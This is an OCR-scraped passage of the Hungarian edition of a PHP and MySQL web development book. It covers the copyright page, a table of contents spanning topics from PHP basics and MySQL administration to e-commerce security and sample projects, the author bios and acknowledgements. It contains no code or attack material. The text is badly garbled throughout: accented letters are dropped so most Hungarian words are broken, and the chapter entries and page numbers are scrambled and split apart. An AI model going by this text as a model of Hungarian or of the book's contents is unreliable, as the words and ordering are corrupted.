Académique Documents
Professionnel Documents
Culture Documents
webfejlesztknek
Hogyan ptsnk webru hzat?
PHP s MySQL webfejlesztknek - Hogyan ptsnk webcuhzat? 2010 Perfact-Pro Kft. Minden jog fenntartva!
ISBN 978-963-9929-13-5
A knyv eredeti cme: PHP and MySQL Web Development, 4th Edition A magyar kiadsrt felels a Perfact-Pro Kft. Authorized translation from the English Language edition, entided PHP and MySQL Web Development, 4th Edition 0672329166, by W ELLING, LUKE; T HOMSON, LAURA, published by Pearson Education, Inc. publishing as Addison Wesley Professional, Copyright 2009 Addison-Wesley. Ali rights reserverd. No part of this book may be reproduced or transmitted in any form or by any means, electronic or mechanical, indudig photocopying, recording or by any information starage retrieval system, without pertnission from Pearson Education, Inc. HUNGARIAN language edition published by Perfact-Pro Kft., Copyright 2010 Perfact-Pro Kft.
Brmilyen msols, sokszorosts, illetve adatfeldolgoz rendszerben trtn trols a kiad elzetes rsbeli hozzjrulsa nlkl tilos. Az itt kzlt informcik kizrlag az olvas szemlyes hasznlatra kszltek. Jelen m felhasznlsa ms kny vekben, kereskedelmi szoftverekben, adatbzisokban csak a kiad elzetes rsbeli hozzjrulsval lehetsges. A szerz s a kiad a tle elvrhat legnagyobb gondossggal jrt el a knyv s a prograrnek ksztse sorn. A knyvben, illet ve a programokban tallhat esetleges hibkrt, hasznlatukbl ered esetleges krokrt sem a szerz, sem a kiad nem vllal semminem felelssget.
Fordtotta: Lnrt Szabolcs Szakmailag lektorlta: Kiss Klmn Nyelvileg lektorlta: Ksa Gyrgy Trdelte: Fontol Stdi
Felels kiad a Perfact-Pro Kft. gyvezet igazgatja l101 Budapest, Pongrc t 9/b. Tel: 260-0990 Fax: 431-0028 info@perfact.hu
www
.perfactkiado.hu
Tarralern
III
Tartalom
Bevezets
Vltoz vltozk
l l 2 2 2 3 4 5 5 6 6 7 7
21 21 22 22 23 23 23 25 26 26 27 28
Mirt rdemes elolvasni a knyvet? Mit tanulhatunk a knyvbl? Mi a PHP? Mi a MySQL? Mirt hasznljunk PHP-t s MySQL-t? A PHP legfbb erssgei Melyek a PHP 5 jdonsgai? A PHP 5.3 fbb jellemzi A MySQL legfbb erssgei Tmogats elrhetsge Melyek a MySQL 5 jdonsgai? Hogyan pl fel a knyv? Vgezetl
I. rsz A PHP hasznlata l. fejezet PHP gyorstalpal
llandk deklarlsa s hasznlata Vltozk hatkre Mveleti jelek hasznlata Aritmetikai mveleti jelek Karakterlncokon alkalmazhat mveleti jelek rtkad mveleti jelek sszehasonlt mveleti jelek Logikai mveleti jelek Bitmveleti jelek Egyb mveleti jelek Az rlap vgsszegnek kiszmtsa Mveletek elsbbsgi sorrendje s a csoportosthatsg Vltozkhoz kapcsold fggvnyek Vltozk tpusnak ellenrzse s belltsa
29 30 30 31 31 31 32 34 35 37 38 38 38
ll ll 12 12 13 13 14 15 15 15 16 16 17 17 17 19 19 20 20 20 20 21
Kezds eltt: a PHP elrse Mintaalkalmazs ltrehozsa: Bob autalkatrszek Rendelsi rlap ltrehozsa Az rlap feldolgozsa PHP begyazsa HTML-be PHP cmkk PHP utastsok Fehrkz karakterek Megjegyzsek Dinamikus tartalom hozzadsa Fggvnyhvsok A da te ( ) fggvny hasznlata Az rlapvltozk elrse Rvid, kzepes s hossz vltozk Karakterlncok sszefzse Vltozk s literlok Az azonostk Vltoztpusok A PHP adattpusai Tpuserssg foka Tpusknyszerts
39 39 39 40 40 40 41 42 43 44 44 44 45
Adatok elmentse ksbbi hasznlat cljbl Bob megrendelseinek el trolsa s visszakeresse Fjlok feldolgozsa Fjl megnyitsa A megfelel megnyitsi md kivlasztsa
Eijl megnyitsa az fopen() fggvnnyel
Fjlok megnyitsa FTP-n vagy HTTP-n keresztl Fjlmegnyitsi problmk kezelse Fjlba rs Az fwri te ( ) fggvny paramcerei Fjlformtumok Fjl bezrsa
IV
Tartalom
Olvass fjlbl Fjl megnyitsa olvassra: fopen () Ahol meg kell llnunk: feof()
47 48 48
( ) s p rev() fggvny
69
69
A teljes fjl beolvassa: readfile(), fpassthru () s file() Karakter beolvassa: fgetc () Tetszleges mennyisg adat beolvassa: freact() Egyb hasznos fjlfggvnyek Fjl megltnek ellenrzse: file_exists () Fjlmret meghatrozsa: fil esi z e() Fjl trlse: unlink() Fjlon belli navigls: rewind(), fseek () s ftell ( )
50 49 49 50 50 50 50 50 4.
()fggvny
70 70 71 71
fejezet
73
73 75
Fjlok zrolsa Egy jobb mdszer: adatbzis-kezel rendszerek Hogyan oldjk meg a relcis adatbzis-kezel rendszerek ezeket a problmkat? Tovbbi olvasnival Hogyan tovbb?
3.
51 52
addslashes ()
78
fejezet
55 55 56 56 56 57 57 57 57 58 59 59 62 62
79 79 80 80
Tmbk hasznlata
Mit neveznk tmbnek? Numerikusan indexelt tmbk Numerikusan indexelt tmbk ltrehozsa Tmb tartalmnak elrse Tmbelemek elrse ciklusokkal Nem numerikusan indexelt tmbk Tmb inicializlsa Tmbelemek elrse Ciklusok hasznlata Tmbmveleti jelek Tbbdimenzis tmbk Tmbk rendezse A sort() fggvny hasznlata Tmbk rendezseasort () s ksort () fggvnyekkel Fordtott rendezs Tbbdimenzis tmbk rendezse Felhasznl ltal meghatrozott rendezs Fordtott sorrendbe trtn felhasznli rendezs Tmbk trendezse A shuffle ()fggvny hasznlata Az array_reverse ()fggvny hasznlata Tmbk feltltse fjlokbl Tovbbi tmbkezelsi eljrsok
Az strtok ()fggvny hasznlata A substr ( ) fggvny hasznlata Karakterlncok sszehasonltsa Karakterlncok sorba rendezse: strcmp(),
strcasecmp ( )
s strnatcmp() fggvny
az
80
strlen ()
81
81
( ) s
82
() fggvny
82
83 83 84 84 85 85 85 85 86 86
Ismerkeds a regulris kifejezsekkel Az alapok Karakterkszletek s -osztlyok Ismtlds Rszkifejezsek Szmolt rszkifejezsek Karakterlnc elejhez vagy vghez rgzts gaztats Literlis klnleges karakterekhez illeszts
Tartalom
A klnleges karakterek ttekintse Az eddig tanultak alkalmazsa az intelligens rlapban Rszsztringek keresse regulris kifejezsekkel Rszsztringek cserje regulris kifejezsekkel Karakterlncok sztbontsa regulris kifejezsekkel Tovbbi olvasnival Hogyan tovbb?
5. fejezet
86 87 87 88 88 88 88
Osztlypldnyok ltrehozsa Osztlyattribtumok hasznlata Hozzfrs-szablyozs private s public kulcsszval Osztlymetdusok hvsa rklds megvalstsa PHP-ben Lthatsg szablyozsa rklds esetn a pr i vate s a proteeted kulcsszval Fellrs
110 110
113 114
89 89 89 89 90 90 90 91
rklds s fellrs megakadlyozsa a final kulcsszval A tbbszrs rklds Interfszek megvalstsa Osztlytervezs Az osztly kdjnak megrsa Halad objektumorientlt funkcik PHP-ben Osztlyon belli kanstansok hasznlata Statikus metdusok ltrehozsa Osztlytpus ellenrzse s tpusjelzs Ksi statikus ktsek Objektumok klnozsa Elvont osztlyok hasznlata Metdusok tbbszrs definilsa a -call() metdussal Az_autoleact {) fggvny hasznlata Itertorak s iterci ltrehozsa Osztlyaink talakitsa karakterlncokk A Reflection API hasznlata Hogyan tovbb?
7. fejezet 115 116 116 117 117 124 124 124 125 125 126 126
auto_append_file 95 96 96 97
Fggvnyek hasznlata PHP-ben Fggvnyhvs Nem ltez fggvny hvsa Kis- s nagybetle megklnbztetse fggvnynevekben Sajt fggvnyek definilsa Fggvnyek alapszerkezete Fggvnyeink elnevezse Paramterek hasznlata A hatkr fogalma Cm s rtk szerinti paramtertads A return kulcssz hasznlata rtkvisszaads fggvnyekbl Rekurzi megvalstsa Nvterek Tovbbi olvasnival Hogyan tovbb?
6. fejezet
Hiba- s kivtelkezels
Kivtelkezelsi fogalmak Az Exception osztly Felhasznl ltal meghatrozott kivtelek Kivtelek s a PHP tovbbi hibakezel mechanizmusai
Objektumorientlt PHP
107
Ismerkeds az objektumorientlt programozs fogalmaival Osztlyok s objektumok Tbbalaksg rklds Osztlyok, attribtumok s metdusok ltrehozsa PHP-ben Osztlyszerkezet Konstruktorok Destruktorok
109 109 109 110 107 107 108 108
VI
Tartalom
Sorok rtkek Kulcsok Smk Kapcsolatok Webes adatbzis megtervezse Gondoljuk vgig a modellezett, vals vilgbeli objektumokat! Redundns adatok trolsnak elkerlse Atomi oszloprtkek hasznlata Vlasszunk rtelmes kulcsokat! Gondoljuk vgig, rnit szeretnnk az adatbzisbl megtudnil Kerljk a sok res tulajdonsgot tartalmaz kialaktst! Tblatpusok sszefoglalsa Webes adatbzis architektrja Tovbbi olvasnival Hogyan tovbb?
9. fejezet
142 142 142 143 143 144 144 144 145 146 146 146 147 147 148 148
10. fejezet
165
Mi az SQL? Adatok beszrsa adatbzisba Adatok visszakeresse adatbzisbl Adott feltteleknek megfelel adatok visszakeresse Adatok visszakeresse tbb tblzatbl Adatok visszakeresse meghatrozott sorrendben Adatok csoportostsa s sszestse V isszakapni kvnt sorok kivlasztsa Egymsba gyazott lekrdezsek hasznlata Adatbzisban lv rekordok frisstse Tblk megvltoztatsa ltrehozsuk utn Rekordok trlse adatbzisbl Tblk trlse Teljes adatbzis trlse Tovbbi olvasnival Hogyan tovbb?
ll. fejezet
165 165 167 168 169 173 173 175 175 177 177 179 179 179 179 179
181
Hogyan mkdnek a webes adatbzis-architektrk? Adatbzis lekrdezse a webrl A felhasznltl rkez adatok ellenrzse s szrse Kapcsolat ltrehozsa A hasznlni kvnt adatbzis kivlasztsa Az adatbzis lekrdezse A lekrdezs eredmnyeinek visszakeresse Kapcsolat bontsa az adatbzissal j informci felvitele az adatbzisba Elfordtott utastsok hasznlata Egyb PHP adatbzis-illesztsek hasznlata Tovbbi olvasnival Hogyan tovbb?
12. fejezet
181 184 184 184 185 185 186 187 187 189 190 192 192
A MySQL monitor hasznlata Bejelentkezs MySQL-be Adatbzisok s felhasznJk ltrehozsa Felhasznlk s jogosultsgok belltsa A MySQL jogosuJtsgi rendszernek bemutatsa A legkisebb jogosultsg elve Felhasznl belltsa: a GRANT parancs Jogosultsgok tpusai s szintjei A REVOKE parancs Pldk a GRANT s a REVOKE hasznlatra Webes felhasznl belltsa A megfelel adatbzis hasznlata Adatbzistblk ltrehozsa A tbbi kulcssz jelentsnek megismerse Az oszloptpusok Az adatbzis megtekintse a SHOW s a DESCRIBE paranccsal Indexek ltrehozsa MySQL azonostk Oszlopok adattpusainak kivlasztsa Numerikus tpusok Dtum s id tpusok Karakterlnc-tpusok Tovbbi olvasnival Hogyan tovbb?
150 150 151 151 151 151 151 152 154 154 155 155 156 157 157 159 159 160 160 160 162 162 164 164
Halad MySQL-adminisztrci
193
A jogosultsgi rendszer alaposabb megismerse A user tbla A db s a host tbla A tables_prv, a colurnns priv s a
-
procs_priv tbla
Hozzfrs-szablyozs: Hogyan hasznlja a MySQL a jogosuJtsgi tblkat? Jogosultsgok frisstse: Mikor lpnek letbe a vltoztatsok? MySQL adatbzisunk biztonsgoss ttele MySQL az opercis rendszer szemszgbl
Tartalom
VII
Jelszavak Felhasznli jogosultsgok Webes krdsek Tovbbi informcik begyjtse az adatbzisokrl lnformciszerzs a SHOW utastssal A lekrdezsek mkdsnek megismerse az EXPLAIN utastssal Adatbzisunk optimalizlsa Optimlisra tervezs Jogosultsgok Tblaoptimalizls lndexek hasznlata Alaprtelmezett rtkek hasznlata Tovbbi tippek Biztonsgi ments ksztse MySQL adatbzisunkrl MySQL adatbzisunk helyrelltsa Replikci megvalstsa A master kiszolgl belltsa A kezdeti adattvitel megvalstsa A slave kiszolgl vagy kiszolglk belltsa Tovbbi olvasnival Hogyan tovbb? 13. fejezet Halad MySQL-programozs A LOAD DATA INFILE utasts Trolmotorok Tranzakcik Tranzakcik hasznlata InnoDB tblkkal Kls kulcsok Trolt eljrsok Alapplda Helyi vltozk Kurzorok s vezrlsi szerkezetek Tovbbi olvasnival Hogyan tovbb? III. rsz E-kereskedelem s biztonsg 14. fejezet E-kereskedelmi honlap zemeltetse Mi a clunk? Az zleti weboldalak tpusai Fontos informci kzzttelnek elmulasztsa Termkekre vagy szolgltatsokra irnyul rendelsek
felvtele Szolgltatsok vagy digitlis termkek rtkestse Tbbletrtk hozzadsa termkekhez vagy szolgltatsokhoz Kltsgcskkents Kockzatok s veszlyforrsok megismerse Crackerek A kvnt zleti eredmny elmaradsa Szmtgpes hardverhibk Elektromos, kommunikcis vagy hlzati hibk Ers verseny Szaftverhibk Vltoz szablyozsi krnyezet s adjogszablyok Rendszer-kapacitsbeli korltok A megfelel stratgia kivlasztsa Kvetkez lpsek 15. fejezet Az e-kereskedelem biztonsgi krdsei A birtokunkban lv informci fontossga Biztonsgi fenyegetsek Bizalmas adataink kitettsge Adatveszts vagy -rongls Adatmdosts Denial of Service tmads
223 226 226 227 227 227 228 228 228 228 228 229 229 229 229
lnformciszerzs oszlopokrl a DESCRIBE utastssal 201 201 205 205 205 205 205 205 205 206 206 206 207 207 208 208 208
231 231 232 232 233 234 234 235 235 236 236 237 238 239 239 239 240 240 241 242 242 242 242 242 243
209 209 209 210 210 211 212 212 214 214 217 217
Szaftverhibk Le tagads Hasznlhatsg, teljestmny, kltsg s biztonsg Biztonsgi hzirend ltrehozsa A felhasznli hitelests alapelvei A titkosts alapjai Privt kulcs titkosts Nyilvnos kulcs titkosts Digitlis alrsok Digitlis tanstvnyok Biztonsgos webszerverek Auditls s naplzs Tzfalak Biztonsgi ments ksztse az adatokrl Biztonsgi ments ksztse ltalnos fjlokrl
219
Hogyan tovbb? 16. fejezet Webes alkalmazsok biztonsga Biztonsgkezelsi stratgik Megfelel gondolkodsmd mr a tervezstl
VIII
Tartalom
A biztonsg s a hasznlhatsg kztti egyensly keresse Biztonsgi felgyelet Alapvet megkzeltsnk A rnk vr fenyegetsek azonostsa Bizalmas adatok elrse vagy mdostsa Adatveszts vagy -rongls Denial of Service tmads Rosszindulat kd befecskendezse Feltrt szerver Kikkel llunk szemben? Crackerek Fertztt gpek tjkozatlan felhasznli Elgedetlen alkalmazottak Hardvertolvajok Sajt magunk Kdunk biztonsgoss ttele Felhasznl ltal bevitt rtkek szrse A kimenet rtkeinek szrse vdkarakterekkel Kdjaink szervezse Mi kerl a kdunkba? A fjlrendszerrel kapcsolatos, megfontoland szempontok A kd stabilitsa s kdhibk Vgrehajt opertor s az
ex ee
17. fejezet 245 246 246 246 246 247 247 247 248 248 248 248 248 248 248 249 249 252 253 254 254 255 18. fejezet
Biztonsgos tranzakcik vgrehajtsa PHP-vel s MySQL-lel Hitelests megvalstsa PHP-vel s MySQL-lel
Ltogatk azonostsa Hozzfrs-szablyozs megvalstsa Jelszavak trolsa Jelszavak titkostsa Tbb oldal vdelme Alapszint hitelests hasznlata Alapszint hitelests PHP-ben Alapszint hitelests az Apache
.
A mod_auth_mysql hitelests hasznlata Amod_auth_mysql modul teleptse A mod_auth_mysql modul hasznlata Egyni hitelestsi folyamat ltrehozsa Tovbbi olvasnival Hogyan tovbb?
277 277 278 278 279 280 282 282 283 283 283 285 289 289
Biztonsgos tranzakcik megteremtse A felhasznl gpe Az internet Sajt rendszernk A Secure Sockets Layer (SSL) protokoll hasznlata Felhasznli bevitel szrse Biztonsgos trols megvalstsa Hitelkrtyaadatok trolsa T itkosts hasznlata PHP-ben A GPG teleptse A GPG tesztelse Tovbbi olvasnival Hogyan tovbb? IV. rsz
Halad PHP-mdszerek
parancs
255 256 256 257 258 258 259 259 260 260 260 261 261 261 262 262 262 262 263 263 263
Webszervernk s a PHP biztonsgoss ttele Tartsuk szaftvereinket naprakszen! A php. ini fj l tartalma A webszerver konfigurlsa Webes alkalmazsok hasztolsa fizets szolgltats ignybevtelvel Az adatbzisszerverek biztonsga Felhasznlk s a jogosuJtsgi rendszer Adatklds a szerverre Kapcsolds a szerverhez A kiszolgl futtatsa A hlzat vdelme Tzfalak teleptse DMZ hasznlata Felkszls a DoS s DDoS tmadsokra Szmtgpnk s az opercis rendszer biztonsga Tartsuk naprakszen opercis rendszernket! Csak azt futtassuk, amire valban szksg van! Kiszolglnk fizikai biztonsga Katasztrfa -elhrtsi terv Hogyan tovbb?
291
19. fejezet A fjlrendszer s a kiszolgl elrse Fjlfeltlts A fjlfeltlts HT ML kdja A fjlt kezel PHP kd megrsa A gyakori feltltsi problmk megelzse Knyvtrfggvnyek hasznlata Olvass knyvtrakbl lnformciszerzs az aktulis knyvtrrl Knyvtrak ltrehozsa s trlse A fjlrendszer elrse Fjlinformcik gyjtse 293 293 294 295 298 298 298 301 301 302 302
Tartalom
IX
Fjltulajdonsgok mdostsa Fjlok ltrehozsa, trlse s thelyezse Programfuttat fggvnyek hasznlata Krnyezeti vltozk elrse: a getenv () s a putenv () fggvny Tovbbi olvasnival Hogyan tovbb? 20. fejezet Hlzati s protokollfggvnyek hasznlata A hasznlhat protokollok ttekintse E-mail kldse s olvassa Ms weboldalak tartalmnak felhasznlsa Hlzati keresfggvnyek hasznlata Biztonsgi ments ksztse vagy fjl tkrzse Biztonsgi ments ksztse vagy fjl tkrzse FTP-vel Fjlfeltlts Idtllps elkerlse Tovbbi FTP fggvnyek hasznlata Tovbbi olvasnival Hogyan tovbb? 21. fejezet Dtum s id kezelse Dtum s id megllaptsa PHP-bl A date ( ) fggvny hasznlata Unix-idblyegek kezelse A getdate () fggvny hasznlata Dtumok ellenrzse a checkdate ( ) fggvnnyel Idblyegek formzsa Vlts PHP s MySQL dtumformtumok kztt Szmols dtumokkal PHP-ben Szmols dtumokkal MySQL-ben Mkroszekundumok hasznlata Naptrfggvnyek hasznlata Tovbbi olvasnival Hogyan tovbb? 22. fejezet Kpek elllitsa Kpi tmogats belltsa PHP-ben Kpformtumok JPEG PNG WBMP GIF Kpek ltrehozsa Rajzvszon ltrehozsa
Rajzols vagy szveg rsa kpre Kimenet ksztse a ksz grafikrl Erforrsok felszabadtsa Automatikusan ltrehozott kpek hasznlata ms oldalakon Szveg s betk hasznlatval ltrehozott kpek A rajzvszon belltsa A szveg hozzigaztsa a gombhoz A szveg elhelyezse
334 335 335 336 336 338 339 341 341 341 342 348 348 348
307 307 307 308 310 313 313 318 318 318 319 319
A szveg gombra rsa Befejezs brk s grafikonadatok rajzolsa Tovbbi kpkezel fggvnyek hasznlata Tovbbi olvasnival Hogyan tovbb? 23. fejezet Munkamenet-vezrls PHP-ben Mi a munkamenet-vezrls? A munkamenet alapjai Mi a sti? Stik bellitsa PHP-bl Stik hasznlata munkamenetekkel Munkamenet-azonost trolsa
349 349 349 349 350 350 350 351 351 351 351 351 352 353 354 359 359
321 321 321 322 323 324 324 326 327 328 329 329 329 329
Egyszer munkamenetek megvalstsa Munkamenet indtsa Munkamenet- vltozk regisztrlsa Munkamenet-vltozk hasznlata Vltozk trlse s a munkamenet megszntetse Egyszer plda munkamenetre Munkamenet-vezrls konfigurlsa Hitelests munkamenet-vezrlssel Tovbbi olvasnival Hogyan tovbb? 24. fejezet Tovbbi hasznos lehetsgek PHP-ben Karakterlncok kirtkelse az ev al () fggvnnyel Vgrehajts lelltsa: die (} s exit (} Vltozk s objektumok szerializlsa
361 361 361 362 363 363 363 363 364 364 365 365
Informcigyjts a PHP-krnyezetrl Milyen bvitmnyek lettek betltve? A kd tulajdonosnak azonostsa A kd utols mdostsi idpontjnak megllaptsa A futtatsi krnyezet tmeneti mdostsa Forrskd szinkiemelse PHP hasznlata parancssorban Hogyan tovbb?
Tartalom
V. rsz Gyakorlati PHP s MySQL projektek fejlesztse 25. fejezet A PHP s a MySQL hasznlata nagyobb projektekben A szaftverfejleszts gyakorlatainak alkalmazsa webfejlesztsre Webes alkalmazs projektjnek tervezse s megvalstsa Kd tbbszri felhasznlsa Kezelhet kd rsa Programozsi szablyok Kdunk darabokra bontsa Egysges knyvtrstruktra hasznlata Fggvnyek dokumentlsa s megosztsa fejleszti csapaton bell Verzikvets megvalstsa A fejlesztkrnyezet kivlasztsa Projektjeink dokumentlsa Prototpuskszts A mkds s a tartalom sztvlasztsa Kdoptimalizls Egyszer optimalizcis lpsek Zend termkek hasznlata Tesztels Tovbbi olvasnival Hogyan tovbb? 26. fejezet Hibakeress Programozsi hibk Szintaktikai hibk Futsidej hibk Logikai hibk Hibakeress a vltozk tartalmnak kiratsval Hibajelentsi szintek A hibajelentsi belltsok mdostsa Sajt hibk kivltsa A hibakezels elegns mdja Hogyan tovbb? 27. fejezet Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse A megolds alkotelemei Felhasznli azonosts s szemlyre szabs A knyvjelzk trolsa Knyvjelzk ajnlsa A megolds ttekintse 391 391 391 392 392 392 379 379 379 380 384 385 387 388 389 389 390 374 374 375 375 375 376 376 376 377 377 378 378 370 370 371 371 373 373 369 369 367
Az adatbzis ltrehozsa A nyitoldal ltrehozsa A felhasznli hitelests megvalstsa Felhasznlk regisztrlsa Bejelentkezs Kijelentkezs Jelszvltoztats Elfelejtett jelsz visszalltsa Knyvjelzk trolsa s visszakeresse Knyvjelzk hozzadsa Knyvjelzk megjelentse Knyvjelzk trlse Knyvjelzk ajnlsa A projekt tovbbfejlesztsnek lehetsges irnyai Hogyan tovbb? 28. fejezet Kosr funkci programozsa A megolds alkotelemei Online katalgus ltrehozsa A felhasznJk ltal vsrls kzben megrendelt termkek nyomon kvetse Fizetsi rendszer megvalstsa Adminisztrcis fellet programozsa A megolds ttekintse Az adatbzis ltrehozsa Az online katalgus ltrehozsa Kategrik listzsa Adott kategria knyveinek listzsa A knyv rszletes adatainak megjelentse A kosr funkci megvalstsa A kosar_megjelenitese.php kd hasznlata A kosr megjelentse Termkek hozzadsa a kosrhoz A mdostott tartalm kosr mentse A fejlcen lthat sszefoglal adatok megjelentse A pnztrnl A fizets feldolgozsa Az adminisztrcis fellet megvalstsa A projekt tovbbfejlesztse Meglv rendszer hasznlata Hogyan tovbb? 29. fejezet Webalap levelezszolgltats ltrehozsa A megolds alkotelemei Levelezprotokollok: a POP3 s az !MAP sszehasonltsa POP3 s !MAP tmogatsa PHP-ben
394 395 396 397 401 404 405 407 411 411 413 414 416 418 418
419 419 419 419 420 420 420 423 425 426 428 430 431 431 433 435 437 437 438 442 444 450 450 450
Tartalom
XI
A megolds ttekintse Az adatbzis ltrehozsa A kd architektrjnak vizsglata Be- s kijelentkezs Felhasznli fikok belltsa j felhasznli fik ltrehozsa Meglv felhasznli fik mdostsa Felhasznli fik trlse Levl olvassa Postafik kivlasztsa Postafik tartalmnak megtekintse Levlzenet olvassa zenetfejlcek megjelentse zenet trlse Levlklds j zenet kldse Vlaszklds vagy levl tovbbtsa A projekt tovbbfejlesztse Hogyan tovbb? 30. fejezet
Levelezlista-kezel alkalmazs fejlesztse
452 454 455 460 462 463 464 464 465 465 467 469 472 472 473 473 474 476 476
31. fejezet
Webes frum fejlesztse
517 517 517 518 519 521 523 525 526 530 532 538 538 538
Gondoljuk vgig a feladatot! A megolds alkotelemei A megolds ttekintse Az adatbzis megtervezse A hozzszlsok fanzetnek megtekintse Kibonts s sszecsuks A hozzszlsok megjelentse A
cs
A hozzszlsok egyenknti megtekintse j hozzszls rsa A projekt tovbbfejlesztse Meglv rendszer hasznlata Hogyan tovbb? 32. fejezet
Perszonalzlt PDF dokumentumok elllitsa
539 539 539 542 542 542 544 545 546 548 550 553 553 556 562 562 562
477 477
Vizsgztatrendszer A dokumentum-elllt szoftver A megolds ttekintse A tesztkrdsek lekrdezse A vlaszok rtkelse RTF formtum oklevl ltrehozsa PDF formtum oklevl ltrehozsa sablonbl PDF dokumentum elllitsa PDFlib fggvnyekkel "Hell, vilg!" kd PDFlib fggvnyekkel Az oklevl ellltsa PDFlib fggvnyekkel Fejlcekkel kapcsolatos problmk kezelse A projekt tovbbfejlesztse Hogyan tovbb? 33. fejezet
Kapcsolds az Amazon Web Services fellethez XML s SOAP segtsgvel
A megolds alkotelemei A levelezlistk s a feliratkozott felhasznJk adatbzisnak ltrehozsa Hrlevelek feltltse Csatolt llomnyokat tartalmaz levelek kldse A megolds ttekintse Az adatbzis ltrehozsa A kd architektrjnak meghatrozsa A bejelentkezs megvalstsa j felhasznli fik ltrehozsa Bejelentkezs Felhasznli funkcik megvalstsa Levelezlistk megtekintse Listainformcik megjelentse Levelezlistk archvumnak megtekintse Fel- s leiratkozs A felhasznli fik belltsainak megvltoztatsa Jelszavak megvltoztatsa Kijelentkezs Adminisztrtori funkcik megvalstsa j levelezlista ltrehozsa j hrlevl feltltse Egyszerre tbb fjl feltltsnek kezelse A hrlevl elnzetnek megtekintse A hrlevl kikldse A projekt tovbbfejlesztse Hogyan tovbb?
478 478 478 478 480 482 488 488 490 492 493 496 498 499 500 500 502 502 503 504 506 510 511 515 515
563
A projekt ttekintse: XML s a Web Services hasznlata Ismerkeds az XML-lel Web Services A megolds alkotelemei Az Amazon Web Services fellet hasznlata XML rtelmezse: REST vlaszok SOAP hasznlata PHP-vel Gyorsttrazs A megolds ttekintse Az alkalmazs magja 563 564 566 567 567 568 568 568 568 571
XII
Tartalom
Adott kategriban lv knyvek megjelemtse AmazonResultSet objektum lekrse Krs intzse s az eredmny visszakeresse REST segtsgvel Krs intzse s eredmny visszakeresse SOAP segtsgvel A krsbl szrmaz adatok gyorsttrazsa Vsrli kosr fejlesztse Fizets az Amazonnl A projekt kdjnak teleptse A projekt tovbbfejlesztse Tovbbi olvasnival
34. fejezet Web 2.0-s alkalmazsok fejlesztse Ajax-programozssal
Ajax elemek hozzadsa a PHPbookmark alkalmazshoz Tovbbi informci Bvebben a Document Object Modelrl (DOM) JavaScript knyvtrak Ajax alkalmazsokhoz Ajax-fejleszti weboldalak
A fggelk A PHP s a MySQL teleptse Az Apache, a PHP s a MySQL teleptse Unix alatt 621 621 622 622 626 626 627 628 628 629 630 631 632 609 618 618 618 619
Binris fjlok teleptse Forrs teleptse A httpd. conf fjl: kddarabok A PHP tmogats is mkdik? Az SSL mkdik?
599 599 600 600 601 601 602 602 602 602 604 605 606 609
Az Apache, a PHP s a MySQL teleptse Windows alatt A MySQL teleptse Windows alatt Az Apache teleptse Windows alatt A PHP teleptse Windows alatt A PEAR teleptse Egyb konfigurcik belltsa
B fggelk Webes forrsok 633 633 634 634 635
Mi az Ajax? HTTP krsek s vlaszok DHTML sX HTML Cascading Style Sheets (CSS) Kliensoldali programozs Szerveroldali programozs XML sX SLT Ajax alapok Az XMLHTTPRequest objektum Kommunikci a szerverrel A kiszolgl vlasznak feldolgozsa Tegyk ssze az egszet! Ajax elemek hozzadsa korbbi projektjeinkhez
Tartalom
XIII
Luke Weiling webes fejleszt az OmniTI-nLA nylt forrskd s webes fejlesztsekkel foglalkoz konferencik, gy egye
bek kzte az OSCON, a ZendCon, a MySQLUC, a PHPCon, az OSDC s a LinuxTag rendszeres eladja.Az OmniTI eltt a webes anatikval foglalkoz Hicwise.com-nl, az adatbzis-fejleszt MySQL AB-nl, illetve fggetlen tancsadknt a Tangled Web Designnl dolgozort.Alkalmazott tudomnyok (informatika) diplomt szerzerc, s informatikt oktatott a Mel bourne-i RMI T Universiry-n. Szabadidejben az lmadansgt prblja meg tklyre fejleszteni.
Trsszerzk Julie C. Meloni a Los Altos-i (Kalifornia) szkhely i2i I nteractive (www.i2ii.com) multimdis vllalat mszaki igazgatja.
Az internet megszletse ta fejleszt webalap alkalmazsokat, s soha nem fogja elfelejteni az els grafikus kezelfellet bngszt vez izgalmakat. Szmos knyvec s cikket rt a webalap programozsi nyelvek s az adatbzisok tmakrben, amelyek kzl rdemes megemliteni a Sams Teach Yourself PHP. MySQL, and Apache Ali in One cm kiadvnyt.
Marc Wandschneider szabadsz fejleszt, szerz s elad, aki a vilg szmtalan klnbz pontjn dolgozott mr rdekes
projektekben. Utbbi vekben idejnek nagy rszt arra fordtja, hogy robusztus s sklzhat webes alkalmazsokat fejlesszen. 2005-ben rta Core Web Application Programming with PHP and MySQL cm knyvt. Korbban a SWiK (http:/ /swik.net) nylt forrs kzssgi oldal vezet fejlesztje volt. Marc jelenleg Pekingben l, ahol a knai nyelvet tri, s programoz.
Ksznetnyilvnts
Szeretnnk ksznetet mondani a Pearson csapatnak kemny munkjrt. Kln ksznjk Shelley Johnstonnak, akinek ldozatvllalsa s trelme nlkl a knyv els hrom kiadsa nem szlethecett volna meg. s Mark Tabernek, aki a negyedik kiadsnl tvette Shelley munkjt. Nagyra rtkeljk a PHP- s MySQL-fejleszti csapatok ltal vgzere munkt. Sok ve knnycik meg a dolgunkat, s gy lesz ez a jvben is rninden nap. Ksznjk az eSec-nl dolgoz Adrian Close-nak, arnirt mg 1998-ban azt mondta:.,Ezt meg tudjtok csinlni PHP-ben:' gy vlte, szeremi fogjuk a PHP-t, s azt kell mondanunk, igaza lett. Vgezetl szeretnnk ksznetet mondani csaldunknak s bartainknak, akik elviselik antiszocilis viselkedsnket, amg knyveinken dolgozunk. Kln ksznjk Nektek, hogy segtetek csaldtagjainknak: Julie, Robert, Martin, Lesley, Adam, Paul, Archer s Barton.
A magyar kiadshoz
A knyv pldinak forrskdja s a mellklecek letlthetk regisztrci utn a www.perfacrkiado.hu/melleklecek oldalrl. A knyvben hasznlt, jelenleg ingyenes szoftverek szintn letlthetek weboldalunkrl (www.perfacckiado.hu/melleklecek). rdemes azonban az interneten megkeresni ezen szoftverek frisstseit, jabb verziit s azokat hasznlni.
